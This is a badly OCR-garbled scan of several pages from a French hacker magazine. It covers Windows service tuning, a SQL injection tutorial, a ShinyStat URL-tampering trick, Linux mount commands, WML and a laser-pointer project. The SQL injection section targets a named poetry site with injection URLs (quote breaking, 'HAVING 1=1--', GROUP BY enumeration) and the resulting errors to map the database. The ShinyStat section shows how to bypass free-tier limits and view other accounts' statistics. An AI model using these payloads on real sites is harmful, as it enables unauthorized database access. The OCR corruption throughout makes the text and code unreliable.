Clipbook

Sa désactivation pourrait Au"m(.er - de quelques secondes le h.mps pour

Désactivé rebooter le systtme. Certaines applications le requicrent

Systéme d'événements COM-+ Manuel (si utile)

Browser d'ordinatenr Désactivé Si vous n'étes pas dans un réscau d'entreprise, il ne sert & rien

Services de cryptographie Automatique Utile cn cas de mises 4 jour
e Automatique

(si adresse IP dynamique)

Client DHCP | Désactivé (s) adresse IP statiquc)

Distributed Transaction Coordinator Désactivé

| Client DNS Désactivé

a7 1l vous avertit quand vous n'avez plus d'encre. Mais d'aprés nous, ¥ 3
on s'en rend compte avant..

Qui a du temps 4 perdre pour env oycr a Microsoft toufcs les copneries |
qui ont fait planter le systéme ? !!

Epson Printer Starus Agen(2 Désactivé

Service de signalement d'erreurs

Désactivé

Automatique (si plusieurs
utilisatcurs sont sur le méme PC)

Compatibilité de chzngemuu mp:dc d‘uuhsawur Désactivé (utilisateur unique)

Acces périphérique Human Imcrfacc Désactivé

N'a rien 4 voir avee Windows | Mescenuu 11 doit étre mis en 1utomzmenc

Désactjvé
uniquengent si vous éfes connocté d un réseau Windows 2000/XP

Messenger

Partage de burcau distant de NetMeeting Désactivé Et i est également plus sir

DDE de résean

DDF DSDM de réseau

Désactive Inutile si vous n'utilisez pas Clipbook a distance

Désactivé Idem

Utile uniquement si vous étes conpect? 4 un systéme
Interoct Sharing Service

NLA Nulwurk Loca(iou Awareness Désactivé

Provider support protection LM NT Désactive

Avertissements et registres de services Désactivé

Service numéra de série pour dispositifs multimédias | peactivé Avez-vous déji renconté un dispositif multimédia qui le demande ?
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Jour tous les

~ sites qui
§ agouient sur e
45 iie domnges

fonctionne également, via la chaine
de requéte (querystring), qui consi-
ste, non pas a se frayer un chemin
d'une  atravers le login, mais a ajouter des
iiague irées connue, il données ala base de données.
{ existe un nombre incroyable
- de sites qui ne pensent pas 2renons pour cible un site de pre-

a se défendre de l'injection

4 8SQL.Comme nous allons le

voir, un site sans défense est vraiment
un site a risque.

principes de Pinfection

jec

Les

poi ri. La cible préférée
de l'injection SQL : les sites pour
lesquels les développeurs ont prévu
I'utilisation de techniques de string
building (construction de chaine de

caractéres) pour I'exécution de code.

dialogue de login
ou de recherche
pour accéder |
au serveur de
fagon non auto-
risée. Une autre
méthode, moins
pratiqgue mais qui

i_pi2 [ www_hackermag.com
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sentalion de poésie, basé sur une
base MS-SQL 2000. Derriere le site,
vous avez en fait deux bases de don-
nées: la base auteur, qui contient le
nom, la nationalité et 'age du poéte;
et la base texte, avec le titre, le résu-
mé, le poeme et I'identifiant.

S

i % o Sy S 2 ;
= slavar sera ( 2

L sie et un aliteur aux listes
présentes de facon non autorisée.

Hacking de fa chaine e
requéte

IMBECI
BSTENR

e but d'articles comme celui-ciestd'étl- | poesia.com/in
dier et d'apprendre, PAS de nuire. La
ipersonne qui utilisera ces connaissances de
\fagon incorrecte est un imbécile qui enfreint
\la loi. Il faut étre idiot pour vouloir forcer
‘. une base de données (et le respect de

- la vie privée) d'autrui. Essayons

~_ donc plutdt d'étre intelli-
- gents.

dex.asp ?iex-
te=1. Nous avons
pris un site italien
comme exemple
afin d’illustrer cet

A\ Unsite simple, basé sur une base de donnees simple.
O cela est tout @ falf suffisant pour comprenire /s lechei-
que d attagee de injection SOL.

article. En visitant cet URL, nous
sommes accueillis par une phrase
de présentation et de bienvenue sur
le site, le titre du poéme, le nom de
auteur, sa nationalité et son année
de naissance, ainsi qu’un extrait de
la poésie.

gquéte (Ia‘ derniére »pérti-é de
'URL) a un rapport avec la poésie. Il




ATTAQUE et DEFENSE

ann Poesa com 730 per gente_ versaes

Ti trovi in Poesia.com, metti un
sottofondo musicale!

<1 Pair
Lhanger de
pogsie I suf- |
1it de ehanper |
le nomire 3y
Dot de [ URL.
Lela shpnifie
iy ame
Felation pré-
£lse enire ce
nembre g fes
Stragtures de
dognees daps
1a base.

La pioggia nel pineto
]
di Cadriele DYAnonnxiq, Malia, aste acl 1863

s’agit probablement d’une référence.
Essayons alors 'URL suivant: http://
www.poesia.com/index.asp? texte=4.

2 v accéder. Il est évi-

dent que ce nombre indique la position
de la poésie dans la base de données.
aservon intenant le code
ipt, utilisé pour créer ce que
nous avons au-dessus (pour faire
court, nous avons coupé la partie con-
cernant la connexion):
<%
testolD=request(“testo”)
SirSql0="SELECT t.tiD,t.titolo,t.
riassunto,t.testo,a.nome FROM testo
s, autore a IBHERE t10="&testolD&”
AND a.alD=t.alD”
RsO.0pen StrSgl0,oConn
7>

indexe la poesie est passee a Ia cha|-
ne de requete SQL sans la validation de
Finput. En d’autres mots, nous pouvons
passer quoi que ce soit a la place de ce
chiffre, et ce gue nous passerons sera
traité dans la chaine de requéte SQL.
En d’autres mots encore, nous pouvens
envoyer des commandes auxquelles ne
s’attendent pas les auteurs de la base
de données. Voila, c’est exactement ¢a
le principe de Finjection SQL.

Brlser Ia chame [le requete

i Pour

effectuer une attaque par
http://www.poesia.com/index.
asp?testo=3 AND qualchealtraco-
lonna=3

Le résuftat d il étre une erreur
de ce type:

[Microsoft]l[00BC SOL Server
Oriver][SOL Server]invalid column
name ‘gualchealtracolonna’.

ré Perreur, ne vous' vy frompez
1zt IPinjection SQL est possible. De
fait, nous avons modifié la requéte de

SELECT t.tiD,t.titolo,t.riassunto,

2EP

t.tesio,a.nome FROM testo i, autore a
LUHERE t10=3 AND a.alD=t.alD

SELECT t.tl0,t.titolp,t.riassun-
to, t.iesto,a.nome FROM tesio t,

autore a IWHERE t10=3 AND gual-

chealtracolonna=3 AND a.all=t.

ald

™

diste Un autre moyen
poss:ble pour briser la chaine
de requéte est d’utiliser une

Ti trovi in Poesia.com, metti
un sottofondo musicale!

<1 Un vembre |
différent, une
JUEsie différen-
12 Maintesant
16us 3/lons
fedire la
Siryctare de fa
base de domnees
£0 fofroduisant
ies errears
fans 12 chaine
e reguéte.

apostrophe au bout de 'URL:
http://www.poesia.com/index.
asp?testo=3’

L'erreur & prevoir est
celle-ci;

[Microsoftl[0DBC SOL Server
Driver][SOL Server]Unclosed quotation
mark befare the character string *
AND a.alb=t.all.
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SELECT t.t1D,t.titolo,t.riassunto,
t.testo,a.nome FROM testo t, aulore a
LIHERE ti0=3 ANl a.alD=t.alll

SELECT t.tlD,t.titolo,t.riassunto,
i.testo,a.nome FROM testo t, autore
a lIHERE t10=3’ AND a.all=t.alD

- ;r;;fe_.;anase fuu_i'.u'rinting

fifaire i des tableaux presents

? dans la base de données, procédure

. couramment appelée database foot
printing (prendre les empreintes de
la base de données). Le chaoix de la
méthode dépendra de la qualité de la
configuration du serveur. Le systeme

' le plus sir est aussi le plus lent, mais
un agresseur motivé doit savoir étre
patnent

comme nous l avons falt precedem-
ment est un bon moyen pour com-
prendre comment est congue la base
de données. Observons le message
d’erreur apparu aprés l'ajout de

[Microsoft][DDBC SOL Server
Driver][SOL Serverllinciosed quo-
tation mark before the character
string * AND a.alD=t.all’.
=i.all Cela nous mdlque
nl y a au moins deux tableaux dans
cette base de données, et qu’ils sont
rehes par Ie champ aID
lagresseur peut deja avoir tout com-
pris une fois arrivé la (les initiales
correspondent srement a auteur et
i texte ...). Mais, méme sans l'aide du
contexte, on peut réussir a déchiffrer
guasiment toute la base de données
a force de messages d’erreur.

de noms de tableaux au heu
de veritables noms de tableaux,
dans les messages d'erreur. En
effet, un développeur peut avoir

orsqu’on parle de string building, on parle
de la technigue suivant laguelle un serveur

2 ‘ SSeul i réussir
decouvnr S nI ya d’autres tableaux dans
la base de données. Il pourrait le faire au
moyen de la syntaxe SQL GROUP BY
ou HAVING, comme dans

http://www.poesia.com/ index.
asp?iesto=3%20HAVING%201=1—

che. %20 correspond a un espace,
mais I'important est le double tiret &
la fin, car il s’agit d’'un commentaire
qui élimine tout ce qui suit de I'in-
struction SQL. Si un mécanisme de
validation de l'input éliminait les tirets,
cela serait plus difficile de faire une
injection SQL. Lerreur devient alors

[MicrosoftlIDDBC SOL Server
Oriverl{SOL Server]Column ‘t.t10° is
invalid in the select list because it is
not contained in an aggregate func-
tion and there is no GROUP BY clause.

grace au
message d erreur qui apparaxt suite 2
I'utilisation de HAVING sans GROUP
BY. Maintenant, on peut répéter cette
opératien, jusqu'a ce qu'il n'y ait plus
d’erreur:
http://www.poesia.com/index.asp
?testo=3%20group%20by%201.
tID%20having%201=1—

PALIgg

c HAINE
CARACT,ERES

: -, mais cette fOlS -Ci Ia
olonne est t.titre. On continue:

hitp://www.poesia.com/ index.
asp?testo=3%20group %20by%20t.
tID,t.titolo%20having%201=1—

0iC : -, on arrive'a
obtenir le tableau complet:
hitp://www.poesia. com/index.
asp?testo= 3%20group%20by%20t.
tID, t.titolo,t.riassunto,t.
testo%20havmg%201 1—

L’erreur est:

> Une fois les colon-
nes du premler tableau terminées, I'éla-
boration passe au tableau successif! On
répete les opérations précédentes, jusqua
obtenir toute la base de donnéeS'

ner heauce en partant
Stmplement d'un site visible et des erreurs
générées par la chaine de requéte. Pour
vaincre ce défi et atteindre des records non
autorises, il faut encore déterminer certai-
nes informations. Cela sera fait sans trop
de problemes dans un prochain article!

http://www.poesia.com/index. /
asp?testo=3%20group%20by //
%20t.t1D,t.titolo, t.riassunto,t. |

testo,a.nome,a.nazione,a.

recoit une commande composée d'une unique
ligne, qui comprend différentes commandes et
différents parametres. Un exemple banal de string
building est I'URL composé automatiquement quand
nous faisens une recherche dans Google L'analy-

choisi de rendre la vie des agres-
seurs un peu plus compliquée en
utilisant des alias pour cacher les
veritables noms des tableaux.

__ trés intéressantest=—




SECURITY

ﬂnahéaﬂs I séeurité de Windows aprés I'instaliationd /’

C’est la premiere chose qui frappe
toute personne ayant téléchargé
SP2. 1 vérifie si l'antivirus installé
fonctionne, et avertit quand celui-
ci ne protege pas convenablement
ou quand le pare-feu est désactivé.
Mais il est incapable d'aider a activer
ce qui ne l'est pas, ou a désactiver
ce qui est superflu. Heureusement,
il reconnait de nombreux produits
non Microsoft, tel que AVG antivirus
ou Zone Alarm dans leurs versions
les plus récentes. Et s'il n'arrive pas
a les reconnaitre automatiguement,
nous pouvons toujours lui dire nous-
méme ce qui doit étre reconnu,

T )

[re
ekt £ S
—_—

Le centre Microsoft poar
{élécharger les mises a jour
Impossible de progéder de son
propre ehef

C'est la deuxieéme fonction qui
est préoccupante. Jusqu'a quel
peint est-il efficace? Tout d’abord, il
n'est pas installe automatiguement
s'il y a déja dans l'ordinateur un
produit de tierces parties qui fonc-
tionne. Et par les temps qui courent,
il serait inconscient de ne pas avoir
de pare-feu.

Le pare-feu Windows fonctionne
relativement bien, mais ne découvre
pas ce qui est déja incrusté dans les
méandres de notre pc. Par exem-
ple, si I'on chope une sale bestiole
par e-mail, et que celle-ci s’installe
en essayant de se reproduire vers

’ GOL\.ONS LES
MORCEAUX

one Alarm est lui aussi un pare-
_"'ieu, mals plus sur surtout puur les

tThunderblrd peuvent séouri-
| ser ce qui ne I’est pas dans Explorer et
] Outlook
Les voici & portée de main; www.mozilla.
@rg http://windowsupdate.microsoft.
Iendro:t oll |l faut aller pour

les méandres des
spius qu a vous fler

_ derviee Pack Z: y a-til des amelioralions possibles?

I'extérieur, le pare-feu Windows la
laisse passer.

Il est necessaire, mais mieux vaut
Mozilla Firefox. Les activités de
phishing semblent se pratiquer assez
facilement sur Internet Explorer. Si
bien que la prochaine et tant atten-
due version 1E 7.0 prévoit, dit-on, des
fonctions spéciales pour entraver les
opérations de phishing, aujourd hui
tres répandues. Un ensemble de
nouvelles AP| bloque les activités
des fichiers joints dans Outlook
Express. Cela signifie donc que la
securité est réellement plus élevée,
puisqu’aucun fichier joint ne pour-
ra étre activé ni exécuté sans notre
autorisation. Malheureusement, la
version originale de SP2 n'empéche
pas les vulnérabilités apportées par
les images Jpeg, qui nécessitent une
longue file de patchs aussi bien pour
XP que pour Office, disponibles sur
le site de Microsofi.

Notre conseil? Si vous n'avez pas
encore adopte SP2, faites-le. Nous
connaissons de nombreux utilisa-
teurs ayant refuség, a tort, de l'instal-
ler. Néanmoins, lorsgue vous l'aurez
installé, ne croyez pas que tout fon-
ctionnera obligatoirement sans ani-
croche. Les trop nombreux blocages
vous obligeront peut-étre parfois a
désactiver quelque protection, méme
momentanément. Et 13, il sera déja
trop tard. >
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Depassons les Jimites §
i 12 version graluile ‘
ie Shinystal, utilise

Jar e nembregx
Sites pour compter le

hinyStat est I'un des
services de stafisti-
ques pour sites Web
| les plus répandus.
Ell existe une version de
base gratuite, gui fournit
une bonne partie des statistiques
courantes concernant les accés: nom-
bre de visites, pages vues, horaires,
fournisseur d’acces, provenance géo-
graphique, S.0., navigateur, et ainsi
de suite.
Les données sont visibles sur le site
de ShinyStat, dans I'espace réservé
a votre compte, auquel vous accédez
en cliquant sur I'icbne du compteur
qui apparait sur votre site, lorsque
vous avez ajouté ce service.

La version gratuite est limitée au
niveau des aspects suivants:

- 0N ne peut voir que certains types de
statistiques concernant les acces

- les graphigues de comparaison des
données, telles que les visites et les
pages vues, ne sont visualisables que
pour les 31 derniers jours et pour deux
types de données au maximum. Pour
les peériodes plus longues (3 mois, 6
mois, 1 an, etc.), on ne peut visualiser
qu’un seul graphigue a la fois

nombre 4 aeces

A F
— ]
¢

- il y a d’autres limita-
tions par rapport a la
provenance geographi-
gue, aux systemes de
relevé des caractéristi-
gues de systeme des
pc connectés, etc.

Comment outrepasser touies ces
limitations? En fouinant sur la page
des rapports ShinyStat du site d'un
ami (c’est possible sur tous les comp-
tes d’acces gratuits), on découvre que
certaines représentations graphigues
de données sont des fichiers PNG
générés dynamiquement ... En cli-
quant droit sur les images, vous obte-
nez, non pas une adresse du type:
www.sito.com/immagine.png, mais
une requéte (query) qui, modifiée
comme il se doit, fournit des réponses
aussi simples qu’efficaces.

Analysons, 3 titre d’exempie, 'URL
de I'un des graphiques a barres,
qui représente ici les visites:

http://s2.shinystat.it/cgi-bin/acce? US
ER=finto&L=0&IN=1&D0=1&A0=0&G
R0=2

s

SR ’
Eﬂ a! lﬂd .iliiln Ed

& 7 8 § 1o 1,.1"131414161 18 49 20 20 22 23 24 25 26 27

Dans cet URL, il y a deux éléments
qui identifient 'utilisateur. lls sont rele-
vés lors de 'acces a la page rapport
de ShinyStat:

- 81, 82, €3, ... bref “s” suivi d’un

nombre (tout de suite aprés http://),
paramétre assigné par ShinyStat;

- le nom d'utilisateur (que nous
avons changé en “finto” (fictif) dans la
requéte que nous publions), indiqué
juste aprés USER=, aprées le point
d'interrogation.

" [p16)_[www.hackermao.com} ——t




En effet, si, dans cet URL, vous rem-
placez ces deux éléments par ceux de
votre compte d’utilisateur ShinyStat ou
d'un autre site ayant le service gratuit, vous
verrez apparaitre le graphique!

Dans FURL, aprés le nom d’utilisateur,
on apercoit quelques éléments séparés
par le symbole “&”. En changeant cer-
tains de ces éléments et en visualisant
le résultat sur le navigateur, on peut
comprendre la fonction et la valeur de
certains parametres:

“L” correspond a la langue, 0 (zéro)
correspond a ['italien, et en mettant 1
cela devient I'anglais

“IN” correspond a lintervalle de temps,
qui possede les valeurs suivantes:

=31 jours
1=3 mois
2=h mois

3=1an

4=15ans

5=2ans

Et ainsi de suite de sis mois en SiH mmis.

“D” suivi d’'un nombre correspond au
type de donnée que I'on veut avoir

TouS LES
PARAMETRES
DISPONIBLES

IN = INTERVALLE

0=31 jours
1=3 mois
2=6 mois
3=1an
4=1,5 ans
5=2 ans
el

D = TYPE DE DONNEE

0 = pages vues
1 = visites
6 = pages vues par utilisateur

GR = TYPE DE GRAPHYQUE

1 = linéaire
2 = 3 barres
3 = aires

5 = tendance

L = LANGUE

0 = italien
1 = anglais

s+ ShinyStat

| Fersmal ShinyStak |

'/?7

iy

dans le graphique. Si le graphique
ne prévoit qu'une seule donnée, par
exemple uniguement le nombre de
visites, cela sera exprimé par “D07; la
deuxieme donnée sera “D1”, la troi-
sieme “D2” (le chiffre est une sorte
d’indicateur univoque de donnée). Les
valeurs sont:

0 = pages vues
1= pisites
6 = pages vues par utilisateur

Dong, pour que le graphique affi-
che conjointement le nombre de
visites et le nombre de pages vues
par utilisateur, la requéte devra con-
tenir les paramétres suivants: “D0=1"
(visites) et “D1=6" (pages vues par
utilisateur).

“@GR” suivi d’'un nombre correspond
au type de graphique pour chaque
type de donnée:

1=lineaire
2=abarres
3=aires

5 = tendance (disponible pour les
périndes inférieures ou egales a 3
mmis)

| [p17)_[www.hackermau.com)
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UN PROJET
ITALIEN

I'adresse www.php-stats.com, vous pou-

vez télécharger un code, grace auguel vous
obtiendrez une solution gratuite et toute italienne,
permettant de résoudre le probléme des statisti-
ques d’accés a vos sites.
Il s’agit d’un projet OpenSource, actuellement
en évolution, mais qui exploite un script php
nécessitant simplement php 4.0.6 ou supérieur,
MySQL 3.23 ou supérieur (MySQL 3.22 peut tout
de méme étre utilisé, mais avec des prestations

[PrP-oTATS

légérement inférieures), ainsi qu'une banale
reconfiguration initiale d'un fichier de texte.

Le script contrdle tout type de page ayant un
output html, c'est-a-dire les pages .htm, .html,
.php, .asp, .phtml, .shtml, etc. Ceci est possible,
car l'intermédiaire entre la page controlée et Php-
Stats est un simple Javascript. Sivous souhaitez
également controler les araignées des moteurs
de recherche (spiders), vous pouvez utiliser un
code spécial pour les pages .php et .asp.

Si, par exemple, nous avons “D0=1”
(visites) et que nous voulons le repre-
senter dans un graphique linéaire, il
faudra indiguer “GR0=1" (“0” étant l'in-
dicateur univogue du graphigue, relié
a la série de données “D0”) ; si nous
avons une deuxieme série de données
“D1=0" (pages vues), nous pouvons la
représenter dans un graphique en aires
avec “GR1=3" (aires)...

Aftention, la donnée “D0” est celle
gui sera représentée en premier,

[p18)_[www.hackermag.com) |

sl ShinygSkak

'eatnd ShinyStat

Isisti. ShinyStat s=lul ShinyStat

donc detriere toutes les données suc-
cessives ayant un nombre supérieur
(“‘D17, ete.).

Dans le cas des graphiques a bar-
res ou “aires”, les données avec un
indice supérieur devront étre mises
en premier plan. Il faut faire attention
au choix de P'ordre, sinon on risque
d’avoir des barres plus hautes pour
une donnée, qui recouvrent les barres
d'une autre donnée.

Bien! Aprés cing minutes d’essais
Sur une reguéte, nous obtenons déja
des graphigues beaucoup plus flexibles,
et nous sommes venus a bout de certai-
nes limitations de la version gratuite:

- la donnée “pages vues par utilisa-
teur”, qui n’était pas accessible, I'est
désormais grace a la valeur 6 pour le
parameétre “D”;

- nous avons un type de graphique
en plus, le graphique en “aires”, non
prévu dans fa version gratuite;
- Nous pouvons, pour les 31
derniers jours, compa-

rer 3 données au

lieu de 2, en ajou-

tant la valeur des

pages vues par

utilisateur;

- nNous pou-

vons maintenant,

toujours dans le
graphique des 31 der-

niers jours, représenter les dif-
férentes données avec différents types
de graphigue, par ex.: les visites - a
barres, les pages vues —a lignes.
Et tout cela simplement en ajoutant
ou en modifiant certains parameétres
et leur valeur dans la requéte! Atten-
tion, pour ajouter des valeurs (autres
séries de données et autres types de
graphique), il faut toujours les faire
préceder du symbole & (voir FTURL
précédent).

Ce n’est pas fini!
Pourquoi tout faire “a la main” dans la
barre d’adresse du navigateur? :)

Ecrivons une page trés simpie en
PHP,qui créé un rapport ShinyStat
“additionnel” comportant les graphi-
ques comparatifs des valeurs “pages
vues”, “visites” et “pages vues par uti-
lisateur”, pour des périodes allant de
31 jours a 2 ans (option non prévue
dans la version gratuite), en choisis-
sant le type de graphigue qui nous
convient. Le code publié géneére les
trois graphiques, alignés I'un sur I'au-
tre pour comparaison.
Au final, nous obtenons des élé-
ments en plus pour notre ShinyStat
Free, tels gue la donnée “pages vues
par utilisateur”, les graphiques com-
paratifs avec trois valeurs et I'absence
de limite de temps!
Nous avons ajouté également: le
modele de graphigue en “aires” et les
tableaux comparatifs de deux don-
nées ou plus, ou de plusieurs types
de graphique différents!
| e
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e nombreux utilisateurs
faisant leurs premiéres
armes sur GNU/Linux,
sont confrontés a des
problémes pour afficher
J les pariitions avec Win-
dows. Voyons alors dans ce petit
“how to” comment procéder.
Supposez que les systemes respec-
tifs, Linux et Windows, soient sur le
disque dur Primary Master, donc/dev/
hda, tandis que les autres données
sont sur le Secondary Master, donc
/dev/hdb.
Imaginez que le systeme Windows
soit dans la premiére partition du pre-
mier disque, donc /dev/hdal, tandis
que les données se trouvent dans
la premiére partition du deuxieme
disque, donc/dev/hdbi.

Dés lors, il ne reste plus qu’a créer
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Gonseils de base pour 5 en Sortie dans 90% des
cas 04 ¥ous avez affaire & un disque !

analogue, vous pourrez trouver le
contenu du disque de données dans/
mnt/Données.

Enfin, si vous le souhaitez, il ne vous
reste plus qu’a instaurer d'éventuelles
autorisations pour les utilisateurs en
éditant le fichier fstab, présent dans
le répertoire “/etc”.

Mount & Umount

Beaucoup d’entre vous ont sire-
ment eniendu parler des comman-
des mount et umount ; ces com-

DECLARATION
D’ INDEPENDANCE

e systéeme d’exploitation Unix est
né a une époque ol les ordinateurs

mandes serveni a accéder aux
unités présentes sur voire ordi-
nateur.

Dans les systémes Unix, pour accéder
a un dispositif d’enregistrement de
données comme par exemple une clé
USB ou un lecteur CD, ou autre, vous
devez agir en effectuant un “montage”
et par conséquent un “démontage” de
I'unité concernée.

Pour mieux comprendre, le montage
est donc I'opération par laquelle le

des dossiers dans le répertoire/
mnt ; voyons comment faire a tra-
vers les lignes ci-dessous.

étaient vraiment peu nombreux et ol
les disques qui etaient reliés a ces
derniers, pouvaient éfre éparpillés un
peu partout. Mais pas seulement les
disques : il y avait de nombreuses unités
a bande, par exemple. On a ainsi pensé
a créer un systeme faisant totalement
abstraction du hardware sur lequel il
réside.

Un systéme Unix typique dispose d’une
root (/) et d’un répertoire /Volumes,
ou I'on peut trouver de tout, méme un
disque a l‘autre bout de la Terre... s'il
existe un moyen de le monter et de le
démonter, comme le montre cet arti-
cle. Voila pourquoi mount et umount
sont des commandes fondamentales sur

Unix, et également sur Linux.

fichier systéme d’une unité est lancé
dans un dossier du fichier systeme
qui est déja actif. Ce répertoire est
dans la plupart des cas /mnt.

rooi@iinuxpe:~# cd /mnt
root@linuxpe:~¥# mkdir Lindows
root@linuspc:~# mkdir Dati
root@inuxpc:~# mount -t ufat /dev/
hda1/mnt/lindous
root@linuxpc:~# mount -t vfat /dew/
hdal /mnt/Dati

Passons a la pratique :

si vous souhaitez monter ou démonter
votre lecteur de CD-ROM, tapez les
commandes suivantes :

mount /mnt/cdrom -> monta
A partir de maintenant, vous trou- mount /mnt/cdrom->smonta
verez tous les éléments qui se
trouvent dans le disque de Win-

dows dans /mntWindows. De fagon

Et ainsi de suite pour le reste des
unités.

(p19i [ hacker




2  POUP ECFIFe d6 Lons SIes
~ pour teléphones portables,
il existe un langage Simple

Bl pr; fecouvrons-le

un deck. les cartes doivent
“avoir un diese (#) devant ieu
identifiant.

Si vous le souhaitez, vous p¢

14 :A‘ ‘I‘ R ‘ v
[ | 's  vezméme créer un lien vers e

& - 7 lacarte. Si vous voulez ¢
i I | compatibiité maxim

cela, ‘ ~ Pour'aviguer d'une carte & une deu-
tms avons re : : xneme carte faisant partie dune pﬂe drf—
ulités en . férente,. [

' ;dansleﬁehleresemploa.wml qutse
trouve dans le répertoire local:

Comme pour le
’d airg, la navigati

- Cet exemple montre un lien vers
une carte intitulée card2, qui se trouve
dans un fichier a distance :




. carie,le navigateur va
ent a la premiére carte

“Hy Meplication"s

3 au. Une option possnble

a saisie de l'attribut d’alignement,

tionne différemment par

lignement inclus dans les
aragraphe.

un alignement R,

enter, centre;

Ses qui sui-
décrivent un
‘tableau com-
, pbosé de
* deux colon-
nes, dont

la prem:ere

()

FARE UN SITE
TELEPHONES POR.
TABLES

Padresse hitp://www.wapdri- |
ve.com

On retourne au HTML classique pour
spécifier les lignes (<ir></ir>) et les
cellules (<td></td>). Si vous spécifiez
trop de cellules par rapport au nombre
de colonnes disponibles, leur contenu
devrait finir dans la derniere celiule en
bas a droite ;: mais cela ne se passe pas
toujours ainsi.

Las tableaux, de par nature, ne sont
pas trés adaptés aux micro-navigateurs,
c’est pourquoi ils doivent éire utilises

3 . avec parcimonie. Voici un exemple con-

> lrgeur maximale et risque de déborder
a droite sur les telephones portables:

=, ’

Au revoir et a bientot
pour continuer a décou-
vrir le WML!

Reed Wright

S 5065 4 WA THET)

SI vous NAv,Ez pAS
{ﬁﬁ PORTABLE

ous aurez du mal a écriré!&n HTML si vous

n'avez pas d’ordinateur.

Emulaleur Nokia 6210,

OpenWave,

SmartPhone_ Emulainr Forte Edition,
- TTEmulator, .

WapFreaks,
WapTiger in Java

ml ww.hackermag.con
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sorti des oubliettes,
avee un objectif des plus
ambitienx : vous faire
connalire le nombre de
fouches sur lesquelles
Vous avez [ape au cours
{6 votre vie...

I était une fois le Dol-

phin Project, ou Projet

Dauphin. Son objectif

était ambitieux méme s’il

paraissait idiot : compter

le nombre de touches sur
lesguelles une personne iape au
cours de sa vie.

Né en 2002, ce Projet vécut un an,
mais tomba ensuite aux oublieties.
Nirgle, le cerveau a I'origine du projet,
avait toutefois laissé a disposition le
code source du client Pulse et les
scripts a installer sur le serveur. Genius-
Dex décida alors de faire revivre ce
projet, en terminant le développement
du code laissé en plan et en ajoutant
de nouvelles fonctions et possibilités
Alors rendez-vous est donné su
site http://www.project-dolphin.nl/ c?
désormais Project Dolphin est bel ¢
bien vivant tout en connaissant
développement permanent, avec
apport constant d'améliorations et
nouveautés.

Homepage
Project Kewrs

D Name ~ )lescnpmn )um
1638 Tweakaore ﬁsa'r\ vin tweakeonenl [fon |

Register
Options Mehu

Cverall
Users
Teams

Countries

:»r-glh; 20022003 by cemb-s

i \. 'UNIVERS DES CHIFFRES CLES

éme en partant de donnees bana-

les, on peut ohtenir des résultats
intéressanis. Au moment de sa publi-
cation, Project Dolphin comptera 50 868
membres, qui auront tapé sur 156 415 613
544 touches. Ce qui équivaut grosso modo
a avoir tapé au moins une fois sur toutes les
touches de 120 millions de claviers !
Moyenne de touches frappées : 3 074 931
par utilisateur. Dans le classement général,

['utilisateur moyen, avec Ses un peu plus
de trois millions de frappes, occuperait la
position numéro 8 211. Les 3 565 équipes
contribuent au comptage des touches avec
110 422 425 773 frappes (plus de deux
tiers du tofal) avec une moyenne de 43 875
347 touches. Jamais vous n'auriez imaginé

qu'’il était possible dutiliser autant les

Ala\v\iem pas vrai ? a I
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Project Doiphin
est compatil
Windows. La version Linux

est encore tres provisoire et il convient
de la laisser de cote en attendant de
prochaines évolutions. Le client Pulse
peut étre téléchargé a partir des ser-
veurs listés dans la page http:/ www.
projectdolphin.nl/download.php. Ladres-
se hitp://www.project-dolphin.ni/extra.
php propose en revanche des supplé-
ments tels que script mIRC qui envoient
le comptage des touches a vos amis
connectés au chat et publient on-line la
photo d’un dauphin de votre choix, outre
un script en langage TCL, a utiliser a la
place de Pulse si nécessaire.

avec

e

Et les touches, ou
snnt elles ?

: hitp:vnvw.projeci-dol

php. Comme dans dlf-
ferents sites consacrés par exemple au
calcul distribué, différentes options sont
a votre disposition. En attendant, vous
pouvez chercher un u'allsateur specm-

que (le site demande de s’enregistrer

dans ce but), ou vous amuser avec les
classements fournis par le site. Vous y
trouverez également les dix nouveaux
venus, le top 10 des internationaux (en
téte, allons ! bon, mais c’est la France
1) et le classement par équipe. En effet,
on peut également regrouper ensemble
plusieurs comptages de touches et con-
stituer ainsi une équipe.

t le plus impression-
&re nent le top 10 des
] eurs uiilisateurs de tous |
iemps. Des personnes qui ont proba-
blement installé le software depuis quil
existe. Ou qui tapent sur une multitude
de touches : actuellement, la personne
en téte du classement a dépassé le
seuil de 264 millions de frappes !

0 unm est un peu t]iu:-
e curiosite, car il fait egalement
appet a l'esprit hacker. En effet, le pro-
gramme est déja paramétré pour se ren-
dre compte de l'utilisation des touches. Il
ne I'est pas pour la reconnaissance des
touches... mais il serait facile d'insérer

| le code correspondant !

soi i est en revanche abso-
ne w'ore aucune donnée

frappées par seulement 173 utilisateurs.
Notre Pays fournit pratiqguement 0,4% de I3
somme totale des touches frappées. La Hol
lande, qui est grande comme un mouchoi

enaplus de 5 000 ! Reaglssons !

Dong, si vous étes curieux de connaitre
le nombre de fois ol vous tapez sur votre
clavier, allez-y ! Lltalie est actuellement trés
proche du déclassement. Si vous souhai-
tez créer une équipe HJ, pour participer, il
vous suffit de nous prévenir et nous diffu-
serons linformation immeédiatement. Bon-
ne chance et tous a vos claviers !

Reed Likight S




Il existe toat un tas de raisans pour tester I3 communication
par laser. Mais Ia premiere, ¢ 'est de pouvoir uliliser les poin-
teurs laser normalement en vente, qui ont 6t pirales !

es espéces de stylos qui
projetient un point lumi-
neux rouge a plusieurs
metres de distance ne
servent pas qu'a faire des
blagues nocturnes aux
ux passants, caché derriére
sa fenétre, et ne peuvent pas non plus
étre utilisés que pour les examens.
Non, ils ne servent pas qu’a ¢a! lis
peuvent également étre démontés
pour connaitre leur fonctionnement
et en faire un autre usage.
Pourquoi ce petit faisceau lumineux
si précis et ponctuel ne pourrait-il
pas, par exemple, étre utilisé pour
transmettre des signaux a distance ?
C'est exactement ce que nous allons
essayer de faire.

Comment est-il fait ?

Le siylo laser, que I’on peut égale-
ment trouver sur les étals de mar-
chés, renferme un circuit composé
de quatre éléments fondamentaux.
La diode laser, rouge. Un circuit qui la
pilote et un circuit qui regle sa lumino-
sité et sa puissance d'émission, afin
d’éviter gu’'elle ne grille en guelques
instants, en vue de créer une sorte
d'effet d’avalanche : en effet, plus on
Pallume et plus elle est puissante et
plus on l'allume et plus... Un circuit
feedback regle en revanche le dri-

P1: input tone (distorsion)

P2 amp. gain -
P3: fine tune
P4: coarse tune

pulse length 1us (const.)
pulse width variahle

-with P4 at middle position
P3 will set freq between
100 and 115kHz, 10uF
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ver final. Quant a I'alimentation, trois
simples piles bouton sont en général
utilisées pour un total de 4,5 volts.
Ce circuit est compliqué a construi-
re et les composants ne se trouvent
pas tous facilement. Mais pourquoi
